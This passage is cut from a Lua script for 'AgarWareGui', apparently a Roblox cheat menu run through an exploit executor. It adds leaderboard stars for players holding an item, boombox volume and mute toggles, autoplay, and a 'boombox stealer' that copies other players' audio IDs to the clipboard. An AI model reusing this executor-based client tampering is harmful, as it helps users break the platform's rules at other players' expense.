MiscGroup = ChatFixRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local ChatFixTickBox = ChatFixRow:WaitForChild("ChatFixTickBox") -------------------------------------------------- -- CHAT FIX FUNCTION -------------------------------------------------- local isEnabled = false function say(text, channel) coroutine.wrap(function() if isEnabled then -- Chat fix ON: force ; prefix and RBXGeneral if string.sub(text, 1, 1) ~= ";" then text = ";" .. text end game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text) else -- Chat fix OFF: normal behavior if channel and channel:lower() == "system" then if string.sub(text, 1, 1) ~= ";" then text = ";" .. text end game:GetService("TextChatService").TextChannels.RBXSystem:SendAsync(text) else game:GetService("TextChatService").TextChannels.RBXGeneral:SendAsync(text) end end end)() end -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0) ChatFixTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then ChatFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else ChatFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end) -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "Forces all messages to use general chat with ; prefix. Credits to Mental for making this (ugly fix)." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame ChatFixTickBox.MouseEnter:Connect(function() local abs = ChatFixTickBox.AbsolutePosition local size = ChatFixTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) ChatFixTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) end; task.spawn(C_267); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.EnliLBRow.EnliLBScript local function C_26b() local script = G2L["26b"]; -- Leaderboard Enlighten Star Script local Players = game:GetService("Players") local RunService = game:GetService("RunService") local CoreGui = game:GetService("CoreGui") local Workspace = game:GetService("Workspace") local EnliLBRow = script.Parent local MiscGroup = EnliLBRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local EnliLBTickBox = EnliLBRow:WaitForChild("EnliLBTickBox") local isEnabled = false -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0) EnliLBTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then EnliLBTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 else EnliLBTickBox.BackgroundColor3 = Color3.new(0, 0, 0) end end) -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "Shows a 🌟 next to enlightened players names on the leaderboard." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame EnliLBTickBox.MouseEnter:Connect(function() local abs = EnliLBTickBox.AbsolutePosition local size = EnliLBTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) EnliLBTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() end end) -------------------------------------------------- -- ARKENSTONE CHECK -------------------------------------------------- local function hasArkenstone(player) -- Check backpack local backpack = player:FindFirstChild("Backpack") if backpack and backpack:FindFirstChild("The Arkenstone") then return true end -- Check character in workspace local character = Workspace:FindFirstChild(player.Name) if character and character:FindFirstChild("The Arkenstone") then return true end return false end -------------------------------------------------- -- UPDATE LEADERBOARD NAMES -------------------------------------------------- local originalNames = {} -- Store original names local function updatePlayerNames() if not isEnabled then -- Remove all stars when disabled local PlayerList = CoreGui:FindFirstChild("PlayerList") if not PlayerList then return end pcall(function() local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame for _, teamList in pairs(ScrollingFrame:GetChildren()) do if teamList.Name:match("^TeamList_") then for _, child in pairs(teamList:GetChildren()) do if child.Name:match("^PlayerEntry_") then local userId = tonumber(child.Name:match("PlayerEntry_(%d+)")) if userId then local contentFrame = child:FindFirstChild("PlayerEntryContentFrame") if contentFrame then local overlayFrame = contentFrame:FindFirstChild("OverlayFrame") if overlayFrame then local nameFrame = overlayFrame:FindFirstChild("NameFrame") if nameFrame then local playerNameFrame = nameFrame:FindFirstChild("PlayerName") if playerNameFrame then local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName") if playerNameLabel and playerNameLabel:IsA("TextLabel") then -- Remove star playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "") end end end end end end end end end end end) return end -- Add stars when enabled local PlayerList = CoreGui:FindFirstChild("PlayerList") if not PlayerList then return end pcall(function() local ScrollingFrame = PlayerList.Children.OffsetFrame.PlayerScrollList.SizeOffsetFrame.ScrollingFrameContainer.ScrollingFrameClippingFrame.ScrollingFrame.OffsetUndoFrame for _, teamList in pairs(ScrollingFrame:GetChildren()) do if teamList.Name:match("^TeamList_") then for _, child in pairs(teamList:GetChildren()) do if child.Name:match("^PlayerEntry_") then local userId = tonumber(child.Name:match("PlayerEntry_(%d+)")) if userId then local player = Players:GetPlayerByUserId(userId) if player then local contentFrame = child:FindFirstChild("PlayerEntryContentFrame") if contentFrame then local overlayFrame = contentFrame:FindFirstChild("OverlayFrame") if overlayFrame then local nameFrame = overlayFrame:FindFirstChild("NameFrame") if nameFrame then local playerNameFrame = nameFrame:FindFirstChild("PlayerName") if playerNameFrame then local playerNameLabel = playerNameFrame:FindFirstChild("PlayerName") if playerNameLabel and playerNameLabel:IsA("TextLabel") then if hasArkenstone(player) then -- Add star if not already there if not playerNameLabel.Text:match("^🌟") then playerNameLabel.Text = "🌟 " .. playerNameLabel.Text end else -- Remove star if present playerNameLabel.Text = playerNameLabel.Text:gsub("^🌟 ", "") end end end end end end end end end end end end end) end -- Update every second task.spawn(function() while true do updatePlayerNames() task.wait(1) end end) updatePlayerNames() end; task.spawn(C_26b); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.MiscGroup.BkitUIFixRow.BkitUIFixScript local function C_26f() local script = G2L["26f"]; local BkitUIFixRow = script.Parent local MiscGroup = BkitUIFixRow.Parent local MiscAccentColor = MiscGroup:WaitForChild("MiscAccentColor") local BkitUIFixTickBox = BkitUIFixRow:WaitForChild("BkitUIFixTickBox") local RunService = game:GetService("RunService") local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local TOOLS = {"Build", "Paint", "Shape", "Shovel"} -------------------------------------------------- -- BKIT UI FIX -------------------------------------------------- local isEnabled = false local heartbeatConn = nil local function updateUI() local character = workspace:FindFirstChild(LocalPlayer.Name) local playerGui = LocalPlayer.PlayerGui for _, toolName in ipairs(TOOLS) do local gui = playerGui:FindFirstChild(toolName) if gui then local shouldBeEnabled = character ~= nil and character:FindFirstChild(toolName) ~= nil if gui.Enabled ~= shouldBeEnabled then gui.Enabled = shouldBeEnabled end end end end -------------------------------------------------- -- ENABLE STATE -------------------------------------------------- BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0) BkitUIFixTickBox.MouseButton1Click:Connect(function() isEnabled = not isEnabled if isEnabled then BkitUIFixTickBox.BackgroundColor3 = MiscAccentColor.BackgroundColor3 heartbeatConn = RunService.Heartbeat:Connect(updateUI) else BkitUIFixTickBox.BackgroundColor3 = Color3.new(0, 0, 0) if heartbeatConn then heartbeatConn:Disconnect() heartbeatConn = nil end local playerGui = LocalPlayer.PlayerGui for _, toolName in ipairs(TOOLS) do local gui = playerGui:FindFirstChild(toolName) if gui then gui.Enabled = false end end end end) -------------------------------------------------- -- TOOLTIP -------------------------------------------------- local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local tooltipFrame = Instance.new("Frame") tooltipFrame.BackgroundColor3 = Color3.fromRGB(16, 16, 16) tooltipFrame.BorderSizePixel = 0 tooltipFrame.ZIndex = 100 tooltipFrame.AutomaticSize = Enum.AutomaticSize.Y tooltipFrame.Size = UDim2.new(0, 212, 0, 0) tooltipFrame.Visible = false tooltipFrame.Parent = getScreenGui() local stroke = Instance.new("UIStroke", tooltipFrame) stroke.Color = Color3.fromRGB(57, 57, 57) local padding = Instance.new("UIPadding", tooltipFrame) padding.PaddingTop = UDim.new(0, 6) padding.PaddingBottom = UDim.new(0, 6) padding.PaddingLeft = UDim.new(0, 6) padding.PaddingRight = UDim.new(0, 6) local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = "Fixes bkit UI if it gets stuck on ur screen." label.TextColor3 = Color3.new(1, 1, 1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0, 200, 0, 0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = tooltipFrame BkitUIFixTickBox.MouseEnter:Connect(function() local abs = BkitUIFixTickBox.AbsolutePosition local size = BkitUIFixTickBox.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) BkitUIFixTickBox.MouseLeave:Connect(function() tooltipFrame.Visible = false end) script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then tooltipFrame:Destroy() if heartbeatConn then heartbeatConn:Disconnect() heartbeatConn = nil end end end) end; task.spawn(C_26f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxScript local function C_273() local script = G2L["273"]; local BoomboxGroup = script.Parent local BoomboxMinimize = BoomboxGroup.BoomboxTitle.BoomboxMinimize local function getRows() local rows = {} for _, child in ipairs(BoomboxGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = BoomboxGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) BoomboxMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then BoomboxGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end BoomboxMinimize.Text = "+" else BoomboxGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end BoomboxMinimize.Text = "-" end end) end; task.spawn(C_273); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTooltip local function C_274() local script = G2L["274"]; -- ============================================================ -- BOOMBOX GROUP TOOLTIP SCRIPT -- ============================================================ local BoomboxGroup = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND UI REFERENCES -- ============================================================ local function findDescendant(name) for _, v in pairs(ScreenGui:GetDescendants()) do if v.Name == name then return v end end end local BoomVolTickBox = findDescendant("BoomVolTickBox") local MuteTacoTickBox = findDescendant("MuteTacoTickBox") local ClickBoomTickBox = findDescendant("ClickBoomTickBox") local AutoPlayTickBox = findDescendant("AutoPlayTickBox") local DisableBoomboxTickBox = findDescendant("DisableBoomboxTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local boomVolTooltip = makeTooltip( "Controls the volume of all boomboxes.\n\n100 = default)\n0 = mute boomboxes" ) local muteTacoTooltip = makeTooltip( "Mutes the raining tacos sound bc its annoying." ) local clickBoomTooltip = makeTooltip( "If you click a boombox, it would log and copy the audio ID to your clipboard.\nBasically a boombox stealer if thats what you call it." ) local autoPlayTooltip = makeTooltip( "Automatically plays the ID set in the field without having to use the boombox UI.\nIt also plays the audio as soon as you equip boombox." ) local disableBoomboxTooltip = makeTooltip( "Disables the boombox UI." ) -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(BoomVolTickBox, boomVolTooltip) hookTooltip(MuteTacoTickBox, muteTacoTooltip) hookTooltip(ClickBoomTickBox, clickBoomTooltip) hookTooltip(AutoPlayTickBox, autoPlayTooltip) hookTooltip(DisableBoomboxTickBox, disableBoomboxTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then boomVolTooltip:Destroy() muteTacoTooltip:Destroy() clickBoomTooltip:Destroy() autoPlayTooltip:Destroy() disableBoomboxTooltip:Destroy() end end) end; task.spawn(C_274); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript local function C_27a() local script = G2L["27a"]; local BoomVolRow = script.Parent local BoomVolTickBox = BoomVolRow:WaitForChild("BoomVolTickBox") local BoomVolChanger = BoomVolRow:WaitForChild("BoomVolChanger") local function getAccentColor() local BoomboxGroup = BoomVolRow.Parent local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false local currentVolume = 100 -- Default 100 = 1.0 in Roblox -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then BoomVolTickBox.BackgroundColor3 = getAccentColor() -- Apply current volume from changer to all boomboxes applyVolumeToAll() else BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0) -- Reset all boomboxes to default Roblox volume (1.0) resetVolumeToDefault() end end -- ============================================================ -- CLICK HANDLER -- ============================================================ BoomVolTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- VOLUME CONVERSION (User Input -> Roblox Volume) -- ============================================================ local function convertToRobloxVolume(userVolume) -- User: 100 = Roblox: 1.0 -- User: 10 = Roblox: 0.1 -- User: 1 = Roblox: 0.01 -- User: 200 = Roblox: 2.0 return userVolume / 100 end -- ============================================================ -- FIND ALL BOOMBOXES IN WORKSPACE -- ============================================================ local function findAllBoomboxes() local boomboxes = {} for _, item in ipairs(game.Workspace:GetDescendants()) do if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then local handle = item:FindFirstChild("Handle") if handle then local sound = handle:FindFirstChild("Sound") if sound and sound:IsA("Sound") then table.insert(boomboxes, sound) end end end end return boomboxes end -- ============================================================ -- APPLY VOLUME TO ALL BOOMBOXES -- ============================================================ function applyVolumeToAll() if not isEnabled then return end local robloxVolume = convertToRobloxVolume(currentVolume) local boomboxes = findAllBoomboxes() -- Check if MuteTaco is enabled local BoomboxGroup = BoomVolRow.Parent local MuteTacoRow = BoomboxGroup:FindFirstChild("MuteTacoRow") local muteTacoEnabled = MuteTacoRow and MuteTacoRow:GetAttribute("MuteTacoEnabled") == true local TARGET_AUDIO_ID = "142376088" for _, sound in ipairs(boomboxes) do -- Skip if MuteTaco is on and this is the taco song if muteTacoEnabled and string.find(sound.SoundId or "", TARGET_AUDIO_ID) then -- Don't change volume for muted taco song else sound.Volume = robloxVolume end end print("[BoomVol] Set", #boomboxes, "boomboxes to volume", currentVolume, "(Roblox:", robloxVolume .. ")") end -- ============================================================ -- RESET VOLUME TO DEFAULT (1.0) -- ============================================================ local function resetVolumeToDefault() local boomboxes = findAllBoomboxes() for _, sound in ipairs(boomboxes) do sound.Volume = 1.0 end print("[BoomVol] Reset", #boomboxes, "boomboxes to default volume (1.0)") end -- ============================================================ -- VOLUME CHANGER INPUT -- ============================================================ BoomVolChanger.FocusLost:Connect(function(enterPressed) local text = BoomVolChanger.Text local number = tonumber(text) if number then -- Clamp between 0 and 1000 number = math.clamp(number, 0, 1000) currentVolume = number BoomVolChanger.Text = tostring(math.floor(number)) -- Apply volume if enabled if isEnabled then applyVolumeToAll() end else -- Reset to current volume if invalid BoomVolChanger.Text = tostring(currentVolume) end end) -- ============================================================ -- WATCH FOR NEW BOOMBOXES -- ============================================================ local function watchForNewBoomboxes() game.Workspace.DescendantAdded:Connect(function(descendant) if not isEnabled then return end -- Check if it's a boombox sound if descendant.Name == "Sound" and descendant:IsA("Sound") then local handle = descendant.Parent if handle and handle.Name == "Handle" then local boombox = handle.Parent if boombox and boombox.Name == "SuperFlyGoldBoombox" then -- Apply current volume to new boombox local robloxVolume = convertToRobloxVolume(currentVolume) descendant.Volume = robloxVolume print("[BoomVol] New boombox detected - set volume to", currentVolume) end end end end) end task.spawn(watchForNewBoomboxes) -- ============================================================ -- INITIALIZE -- ============================================================ BoomVolTickBox.BackgroundColor3 = Color3.new(0, 0, 0) BoomVolChanger.Text = "100" print("[BoomVol] OFF by default - Default volume: 100") end; task.spawn(C_27a); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript local function C_27f() local script = G2L["27f"]; local MuteTacoRow = script.Parent local MuteTacoTickBox = MuteTacoRow:WaitForChild("MuteTacoTickBox") local function getAccentColor() local BoomboxGroup = MuteTacoRow.Parent local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false local TARGET_AUDIO_ID = "142376088" local originalVolumes = {} -- Store original volumes -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then MuteTacoTickBox.BackgroundColor3 = getAccentColor() MuteTacoRow:SetAttribute("MuteTacoEnabled", true) muteTargetAudio() else MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0) MuteTacoRow:SetAttribute("MuteTacoEnabled", false) unmuteTargetAudio() end end MuteTacoTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- CHECK IF SOUND HAS TARGET AUDIO ID -- ============================================================ local function isTargetAudio(sound) if not sound or not sound:IsA("Sound") then return false end local soundId = sound.SoundId -- Check if SoundId contains the target ID return string.find(soundId, TARGET_AUDIO_ID) ~= nil end -- ============================================================ -- FIND ALL SOUNDS IN WORKSPACE -- ============================================================ local function findAllSounds() local sounds = {} for _, descendant in ipairs(game.Workspace:GetDescendants()) do if descendant:IsA("Sound") then table.insert(sounds, descendant) end end return sounds end -- ============================================================ -- MUTE TARGET AUDIO -- ============================================================ function muteTargetAudio() local sounds = findAllSounds() local mutedCount = 0 for _, sound in ipairs(sounds) do if isTargetAudio(sound) then -- Store original volume originalVolumes[sound] = sound.Volume -- Mute it sound.Volume = 0 mutedCount = mutedCount + 1 end end print("[MuteTaco] Muted", mutedCount, "sounds with ID", TARGET_AUDIO_ID) end -- ============================================================ -- UNMUTE TARGET AUDIO -- ============================================================ function unmuteTargetAudio() local sounds = findAllSounds() local unmutedCount = 0 -- Check if BoomVol is enabled and get its volume local BoomboxGroup = MuteTacoRow.Parent local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow") local boomVolEnabled = false local boomVolValue = 100 if BoomVolRow then local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger") local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox") if BoomVolChanger then boomVolValue = tonumber(BoomVolChanger.Text) or 100 end -- Check if BoomVol tickbox is on (has accent color, not black) if BoomVolTickBox then local tickColor = BoomVolTickBox.BackgroundColor3 boomVolEnabled = tickColor ~= Color3.new(0, 0, 0) end end local targetVolume if boomVolEnabled then -- Use BoomVol volume targetVolume = boomVolValue / 100 else -- Use default 1.0 targetVolume = 1.0 end for _, sound in ipairs(sounds) do if isTargetAudio(sound) then -- Restore to BoomVol volume or default sound.Volume = targetVolume originalVolumes[sound] = nil unmutedCount = unmutedCount + 1 end end print("[MuteTaco] Unmuted", unmutedCount, "sounds to volume", targetVolume) end -- ============================================================ -- WATCH FOR NEW SOUNDS -- ============================================================ local function watchForNewSounds() game.Workspace.DescendantAdded:Connect(function(descendant) if not isEnabled then return end if descendant:IsA("Sound") and isTargetAudio(descendant) then -- Store original and mute originalVolumes[descendant] = descendant.Volume descendant.Volume = 0 print("[MuteTaco] New sound detected with target ID - muted") end end) -- Watch for SoundId changes on all sounds game.Workspace.DescendantAdded:Connect(function(descendant) if descendant:IsA("Sound") then descendant:GetPropertyChangedSignal("SoundId"):Connect(function() if isEnabled then if isTargetAudio(descendant) then -- Changed TO target ID - mute it originalVolumes[descendant] = descendant.Volume descendant.Volume = 0 print("[MuteTaco] Sound changed to target ID - muted") else -- Changed AWAY from target ID - unmute to BoomVol volume if originalVolumes[descendant] then -- Check BoomVol settings local BoomboxGroup = MuteTacoRow.Parent local BoomVolRow = BoomboxGroup:FindFirstChild("BoomVolRow") local boomVolEnabled = false local boomVolValue = 100 if BoomVolRow then local BoomVolChanger = BoomVolRow:FindFirstChild("BoomVolChanger") local BoomVolTickBox = BoomVolRow:FindFirstChild("BoomVolTickBox") if BoomVolChanger then boomVolValue = tonumber(BoomVolChanger.Text) or 100 end if BoomVolTickBox then local tickColor = BoomVolTickBox.BackgroundColor3 boomVolEnabled = tickColor ~= Color3.new(0, 0, 0) end end local targetVolume = boomVolEnabled and (boomVolValue / 100) or 1.0 descendant.Volume = targetVolume originalVolumes[descendant] = nil print("[MuteTaco] Sound changed away from target ID - unmuted to", targetVolume) end end end end) end end) end task.spawn(watchForNewSounds) -- ============================================================ -- INITIALIZE -- ============================================================ MuteTacoTickBox.BackgroundColor3 = Color3.new(0, 0, 0) MuteTacoRow:SetAttribute("MuteTacoEnabled", false) print("[MuteTaco] OFF by default - Target ID:", TARGET_AUDIO_ID) end; task.spawn(C_27f); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript local function C_283() local script = G2L["283"]; local ClickBoomRow = script.Parent local ClickBoomTickBox = ClickBoomRow:WaitForChild("ClickBoomTickBox") local function getAccentColor() local BoomboxGroup = ClickBoomRow.Parent local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false local clickConnections = {} -- ============================================================ -- TOGGLE -- ============================================================ local function toggle() isEnabled = not isEnabled if isEnabled then ClickBoomTickBox.BackgroundColor3 = getAccentColor() enableClickDetection() else ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0) disableClickDetection() end end ClickBoomTickBox.MouseButton1Click:Connect(toggle) -- ============================================================ -- EXTRACT AUDIO ID FROM SOUNDID -- ============================================================ local function extractAudioId(soundId) -- SoundId format: rbxassetid://142376088 local id = string.match(soundId, "%d+") return id end -- ============================================================ -- FLASH EFFECT ON BOOMBOX -- ============================================================ local function flashBoombox(handle) -- Create a black SelectionBox for flash effect local flash = Instance.new("SelectionBox") flash.Color3 = Color3.new(0, 0, 0) flash.LineThickness = 0.05 flash.Transparency = 0 flash.Adornee = handle flash.Parent = handle -- Fade out the flash task.spawn(function() for i = 0, 1, 0.1 do flash.Transparency = i task.wait(0.05) end flash:Destroy() end) end -- ============================================================ -- HANDLE BOOMBOX CLICK -- ============================================================ local function onBoomboxClicked(handle) -- Find the Sound local sound = handle:FindFirstChild("Sound") if not sound or not sound:IsA("Sound") then print("[ClickBoom] No sound found in boombox") return end local soundId = sound.SoundId if soundId == "" then print("[ClickBoom] Boombox has no audio playing") return end -- Extract the audio ID local audioId = extractAudioId(soundId) if not audioId then print("[ClickBoom] Could not extract audio ID") return end -- Copy to clipboard setclipboard(audioId) -- Flash effect flashBoombox(handle) print("[ClickBoom] Copied audio ID:", audioId) end -- ============================================================ -- SETUP CLICK DETECTION ON HANDLE -- ============================================================ local function setupClickDetection(handle) -- Create a ClickDetector local clickDetector = Instance.new("ClickDetector") clickDetector.MaxActivationDistance = 32 clickDetector.Parent = handle -- Connect click event local connection = clickDetector.MouseClick:Connect(function(player) if isEnabled then onBoomboxClicked(handle) end end) -- Store connection for cleanup clickConnections[handle] = {detector = clickDetector, connection = connection} end -- ============================================================ -- ENABLE CLICK DETECTION -- ============================================================ function enableClickDetection() -- Find all existing boomboxes for _, item in ipairs(game.Workspace:GetDescendants()) do if item.Name == "SuperFlyGoldBoombox" and item:IsA("Tool") then local handle = item:FindFirstChild("Handle") if handle and not clickConnections[handle] then setupClickDetection(handle) end end end print("[ClickBoom] Click detection enabled") end -- ============================================================ -- DISABLE CLICK DETECTION -- ============================================================ function disableClickDetection() -- Clean up all click detectors for handle, data in pairs(clickConnections) do if data.connection then data.connection:Disconnect() end if data.detector and data.detector.Parent then data.detector:Destroy() end end clickConnections = {} print("[ClickBoom] Click detection disabled") end -- ============================================================ -- WATCH FOR NEW BOOMBOXES -- ============================================================ local function watchForNewBoomboxes() game.Workspace.DescendantAdded:Connect(function(descendant) if not isEnabled then return end -- Check if it's a boombox handle if descendant.Name == "Handle" and descendant.Parent then local boombox = descendant.Parent if boombox.Name == "SuperFlyGoldBoombox" and boombox:IsA("Tool") then if not clickConnections[descendant] then setupClickDetection(descendant) print("[ClickBoom] New boombox detected - added click detection") end end end end) -- Clean up when handles are removed game.Workspace.DescendantRemoving:Connect(function(descendant) if clickConnections[descendant] then if clickConnections[descendant].connection then clickConnections[descendant].connection:Disconnect() end if clickConnections[descendant].detector then clickConnections[descendant].detector:Destroy() end clickConnections[descendant] = nil end end) end task.spawn(watchForNewBoomboxes) -- ============================================================ -- INITIALIZE -- ============================================================ ClickBoomTickBox.BackgroundColor3 = Color3.new(0, 0, 0) print("[ClickBoom] OFF by default") end; task.spawn(C_283); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript local function C_287() local script = G2L["287"]; local AutoPlayRow = script.Parent local AutoPlayTickBox = AutoPlayRow:WaitForChild("AutoPlayTickBox") local AutoPlayChanger = AutoPlayRow:WaitForChild("AutoPlayChanger") local function getAccentColor() local BoomboxGroup = AutoPlayRow.Parent local a = BoomboxGroup:FindFirstChild("BoomboxAccentColor") if a then return a.BackgroundColor3 else return Color3.new(1, 1, 1) end end -- State local isEnabled = false local currentAudioId = "142376088" -- Default audio ID local 